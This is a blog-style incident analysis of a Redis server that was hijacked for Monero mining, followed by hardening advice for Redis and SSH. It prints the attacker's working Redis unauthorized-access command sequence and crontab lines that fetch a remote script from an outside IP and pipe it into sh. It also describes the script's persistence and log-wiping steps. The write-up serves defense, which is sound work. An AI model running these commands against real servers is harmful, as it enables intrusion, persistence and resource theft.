Blockchain is too popular, be careful about your server's passive mining

One day, I received a CPU alarm on my VPS server. I checked the server and found that a process called gpg-agentd was occupying a large amount of CPU resources. Then I did some routine checks, including IO status, network traffic, memory status, system logs, crontab, etc. When I checked crontab, I found that crontab had the following tasks:

*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh
*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh

The server provides Redis resources for the author's testing. Obviously, the above two scheduled tasks were not created by the author. There are three emergency procedures for scheduled tasks to access external servers: first, confirm whether other services are affected, second, annotate the scheduled tasks, and third, temporarily disconnect from the external network. After processing, we can investigate the cause.

0x01 Mining Script Analysis

I downloaded the Shell script locally and analyzed it. The script contains the following functions:

• IKILLYOU

• FIRE

• DOWNLOAD

• INFO

• CRON

• CLEAN

• INIT

• ITABLE

Let's analyze them one by one . The IKILLYOU function will kill the ssuspsplk and gpg-agentd processes. The CRON function will write the two crontabs at the beginning of the text to the /tmp/.bla.cron file, then clear the user's crontab, and then load the /tmp/.bla.cron file into the crontab. The FIRE function deletes the firewall related to port 6379, allows local connections, and persists the firewall configuration. The INFO function is used to collect host information, including the current server process, server hardware attributes, system kernel version, Linux distribution version, detailed version of Linux distribution, Linux standard specification information, crondb file help information (the role of this file will be explained in detail below), and finally upload the above information to the specified directory of 84.73.251.157.

Next, let's look at the DOWNLOAD function. This function downloads crondb and cj files from 84.73.251.157 and puts them in the local /tmp directory. Next, it executes the key step, /tmp/crondb -c /tmp/cj -B .

We put the crondb file and cj locally and analyze these two files.

As mentioned above, the INFO function will get the crondb file help information. Let's execute the INFO function statement.

 ./crondb --help
Usage: xmrig [OPTIONS]
Options:
  -a, --algo=ALGO cryptonight (default) or cryptonight-lite
  -o, --url=URL URL of mining server
  -O, --userpass=U:P username:password pair for mining server
  -u, --user=USERNAME username for mining server
  -p, --pass=PASSWORD password for mining server
  -t, --threads=N number of miner threads
  -v, --av=N algorithm variation, 0 auto select
  -k, --keepalive send keepalived for prevent timeout (need pool support)
  -r, --retries=N number of times to retry before switch to backup server (default: 5)
  -R, --retry-pause=N time to pause between retries (default: 5)
      --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
      --cpu-priority set process priority (0 idle, 2 normal to 5 highest)
      --no-huge-pages disable huge pages support
      --no-color disable colored output
      --donate-level=N donate level, default 5% (5 minutes in 100 minutes)
      --user-agent set custom user-agent string for pool
  -B, --background run the miner in the background
  -c, --config=FILE load a JSON-format configuration file
  -l, --log-file=FILE log all output to a file
  -S, --syslog use system log for output messages
      --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)
      --safe safe adjust threads and av settings for current CPU
      --nicehash enable nicehash/xmrig-proxy support
      --print-time=N print hashrate report every N seconds
      --api-port=N port for the miner API
      --api-access-token=T access token for API
      --api-worker-id=ID custom worker-id for API
  -h, --help display this help and exit
  -V, --version output version information and exit

After seeing the Usage step and searching the GitHub project, we can see that xmrig is used for Monero (XMR) CPU mining. Next, we look at the cj file, which can be found from /tmp/crondb -c /tmp/cj -B . The -c parameter indicates the configuration file, and -B indicates background operation. In other words, cj is a configuration file. We open the cj file and see the key pools configuration, and we can see that the user configuration is as follows:

423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK

We speculate that this is a Monero (XMR) wallet.

We uploaded crondb to virscan.org and analyzed it. The detailed report can be found here. Ikarus is marked as PUA.CoinMiner, qh360 is marked as Win32/Virus.DoS.dc1, and rising is marked as Trojan.Linux.XMR-Miner. This also confirms that this is an executable file used for mining.

Let's continue with the analysis. Here comes some destructive work:

• Clear /var/log/wtmp

• Clear /var/log/secure

• Clear history execution commands

• Modify the permissions of the files including linuxsyn, clay, udevs, psql, smartd, redisscan.sh, ebscan.sh, gpg-agent, gpg-agentd, and kethelper to 0644

• Clear /tmp/unixinfect/imworking files

The CLEAN function is also a destructive function. First, it modifies the /etc/security/limits.conf and /etc/sysctl.conf system configuration files. Add the following configuration:

• soft memlock 262144

• hard memlock 262144
  vm.nr_hugepages = 256

Next, delete the files in the RMLIST list and kill the processes in the KILIST list. What is in KILIST? It is also the wallet address of mining or related processes. This buddy only wants to make a profit for himself and doesn't care about the life and death of his brothers, haha. Next, execute crazy kill, which is also the mining wallet address or related processes, but this list is a bit too much, so I won't go into details here.

Let's continue the analysis. The INIT function modifies the nr_hugepages kernel configuration, the ITABLE function deletes the firewall related to port 6379 and allows local connections, and the CRON function is consistent with the above functions, so I will not repeat them here.

Finally, the script is optimized. If you find that there are no /tmp/crondb and /tmp/cj files, continue to download. If your system GLIBC version does not meet its requirements, it will help you upgrade and load it into LD_LIBRARY_PATH. Then write its own key to the authorized_keys file, so that it can log in without a password, which is convenient for subsequent operations. Finally, clear /var/log/wtmp, clear /var/log/secure, and clear the historical execution commands.

Due to the untraceability of Monero (XMR), readers cannot trace transaction records through wallet addresses, which means we have no way of knowing how much the hackers benefited from it.

0x02 Server Hack Analysis

After analyzing this, we have a clearer understanding of the mining process. But the question is, why was the server hacked?

From the analysis just now, we know that the script will process port 6379, which is the well-known Redis port. Redis author antirez wrote an article a long time ago: A few things about Redis security, which mentioned unauthorized access vulnerabilities. For specific vulnerabilities, please refer to this article.

Since the Redis port of the VPS server has no password, although the firewall is turned on, the firewall has too many permissions, which allows hackers to take advantage of the opportunity to attack. What is the specific operation process?

First, scan the VPS IP and find that it has Redis port 6379. Try to log in without a password.

Second, execute the following commands in sequence.

 set key1 "\n*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh\n"
set key2 "\n*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh\n"
config set dir /var/spool/cron/
config set dbfilename root
save

Third, the Linux server is automatically loaded into crontab, and then the scheduled task executes the bar.sh script, and the server is passively used for mining.

Since Redis has AOF enabled, we use the following script to backtrack AOF [1] to confirm the key-value pair written into the KEY.

 #!/usr/bin/env python

""" A redis appendonly file parser
"""

import logging
import hiredis
import sys

if len(sys.argv) != 2:
   print sys.argv[0], 'aof_file'
sys.exit()
file = open(sys.argv[1])
line = file.readline()
cur_request = line
while line:
    req_reader = hiredis.Reader()
req_reader.setmaxbuf(0)
    req_reader.feed(cur_request)
    command = req_reader.gets()
try:
        if command is not False:
print command
cur_request = ''
    except hiredis.ProtocolError:
        print 'protocol error'
line = file.readline()
cur_request += line
file.close

From this analysis, we can learn that unauthorized vulnerabilities are quite dangerous. As long as there is such a loophole, hackers can do anything.

0x03 Defense plan

We already know the hacker's modus operandi, but how can we defend ourselves? Here I give my own thoughts.

3.1 Redis

In the article A few things about Redis security, the author of Redis mentioned that improper configuration of Redis can lead to unauthorized access and be used maliciously by attackers. A new type of attack method currently popularized for unauthorized access to Redis is that under certain conditions, if Redis is run as root, hackers can write SSH public key files to the root account and log in to the victim server directly through SSH, or write crontab scheduled tasks to run harmful services. These attacks may lead to the acquisition of server permissions and data deletion, leakage, or encryption ransomware, which seriously endangers normal business services. [2]

First, network layer reinforcement usually has the following two methods:

• Redis is bound to 0.0.0.0 by default, which means that all IP addresses can access it. The recommended approach is to add the bind parameter to the configuration file to allow access from the local machine and the intranet IP address, such as

 bind 127.0.0.1 192.168.0.1

Note: Redis supports dual IP binding starting from version 2.8.0.

• Set up firewall policies, such as:

 iptables -A INPUT -s xxxx -p tcp --dport 6379 -j ACCEPT

Second, account and authentication

Set the access password and add requirepass to the configuration file. This configuration can be modified online. After the configuration is completed, execute CONFIG REWRITE to persist it to the configuration file.

Third, minimize the service running permissions

Redis runs with the root account by default, but this will bring uncontrollable risks. We hope to run Redis with a user with lower permissions to achieve account isolation and ensure the security of the Redis service and host.

Adjustments are as follows:

 # Create redis user group groupadd -r redis
# Add redis user, specify it as system user, and change the default Shell to /sbin/nologin
useradd -c "Redis" -d /var/lib/redis -g redis -m -r -s /sbin/nologin redis
# Change the permissions of the Redis home directory chown redis:redis -R /opt/redis
# Change the permissions of Redis related programs chown redis:redis /usr/local/bin/redis*

Finally, start the instance as the Redis user.

 su -s /bin/bash redis -c "/usr/local/bin/redis-server /opt/redis/$port/redis.conf"

Fourth, refined service authorization

Redis does not have an account permission system. To avoid intrusion, service-level commands need to be renamed or blocked.

High-risk commands are as follows:

• FLUSHDB

• FLUSHALL

• KEYS

• PEXPIRE

• DEL

• CONFIG

• SHUTDOWN

• BGREWRITEAOF

• BGSAVE

• SAVE

• SPOP

• SREM

• RENAME

• DEBUG

• EVA

We can add the above commands to the configuration file to rename or block them.

 # Shield CONFIG command rename-command CONFIG ""

# Rename CONFIG command rename-command CONFIG "XKGLx9LFl87mQQLVl0b7UI4VZJESG5iU"

Fifth, security patches

Pay attention to changes in official versions and vulnerability lists, patch them in a timely manner, and upgrade them when necessary.

3.2 Server

In addition to Redis itself, we also have many security policies on the server.

First, the server does not use the default port 22. Port 22 is the default port for SSH service, and it is also the default port for hackers to scan the server's SSH service. The method to modify the SSH port is as follows: edit /etc/ssh/sshd_config with vim, and change Port 22 parameter to the port you want, usually a 5-digit number is best. After the modification is completed, restart the sshd service to take effect.

Second, disable password login and use RSA public key login . The local machine can use ssh-keygen -t rsa to generate public and private keys, and then append the public key to the ~/.ssh/authorized_keys file on the server. Note that the permission of this file is 600. SSH configuration is as follows:

 RSAAuthentication yes # RSA authenticationPubkeyAuthentication yes # Enable public key authenticationAuthorizedKeysFile .ssh/authorized_keys # Verify file pathPasswordAuthentication no # Disable password authenticationPermitEmptyPasswords no # Disable empty passwords

Finally, restart the sshd service to take effect.

Third, prohibit root user login . For online servers, we usually log in as a normal user, and then su - root to switch to the root user. The advantage of this is that even if attacked, there is corresponding protection. The specific method is to modify the /etc/ssh/sshd_config configuration file and change PermitRootLogin to no.

Fourth, add server monitoring . For the case in this article, pay special attention to CPU alarms. In addition, you also need to monitor abnormal processes.

Fifth, open the firewall . For servers with public IP, the firewall policy must be well prepared. Usually we limit the IP and port, which can be a specific IP or port, or an IP or port range, but remember to open a certain IP segment.

Sixth, only get software from official sources . Software from unofficial channels is likely to be added with other Trojan files. The correct approach is to only download from official sources, and after downloading, check whether the MD5 value of the file is consistent with the official one.

Seventh, you can use tools like fail2ban to reinforce server security . It monitors log files of multiple systems and automatically triggers different defense actions based on any suspicious behavior detected.

3.3 Other Services

If the VPS server is deployed with services such as MySQL, there are also many security measures, such as deleting anonymous accounts, deleting test libraries, minimizing permissions, etc. If you are interested in MySQL security, you can refer to this article.

3.4 Everyday Users

For those who don’t have a VPS server, how can you ensure security? Even if you don’t have a VPS server, your PC or Mac may be hacked and used for mining. I have previously written a blockchain asset security strategy, which readers can refer to. For the case in this article, here are some suggestions from the author:

• Do not download unknown software.

• Pay attention to the dynamics of PC or Mac. PC has Task Manager and Mac has Activity Monitor. Usually when the computer is used for mining, the CPU resources will be quite tight.

• Use Chrome and other browsers and be cautious when visiting websites. You never know when a website you frequently visit might be implanted with a mining script.

• Turn off remote desktop sharing and file sharing on PC, and turn off guest account, file sharing, and remote login on Mac. Turn it on when you need it, and turn it off immediately after use.

0x04 Summary

This article starts with a server hacking incident, analyzes the mining script, the hacking process, and provides defense solutions from the aspects of Redis, servers, other services, and daily users. In addition to the unauthorized access vulnerability of Redis, the main unauthorized access vulnerabilities currently exist in: NFS, Samba, LDAP, Rsync, FTP, GitLab, Jenkins, MongoDB, ZooKeeper, ElasticSearch, Memcache, CouchDB, Docker, Solr, Hadoop, Dubbo, etc. Security is more important than Mount Tai, and readers must not take it lightly.

Readers who are interested in the attack scripts involved in this article can go to GitHub clone to have a look. Repo link:

• crack-mining

0x05 Reference

• [1] Bai Chen (2016-11-17). Introduction to Redis protocol and analysis of persistent Aof files. Retrieved from https://yq.aliyun.com/articles/64345 .

• [2] Alibaba Cloud (2017-12-04). Redis service security reinforcement. Retrieved from https://help.aliyun.com/knowledge_detail/37447.html .